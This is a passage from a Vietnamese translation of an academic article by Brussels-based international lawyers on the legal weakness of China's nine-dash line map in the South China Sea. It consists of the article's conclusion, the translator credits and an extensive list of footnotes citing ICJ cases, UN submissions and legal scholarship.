dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng 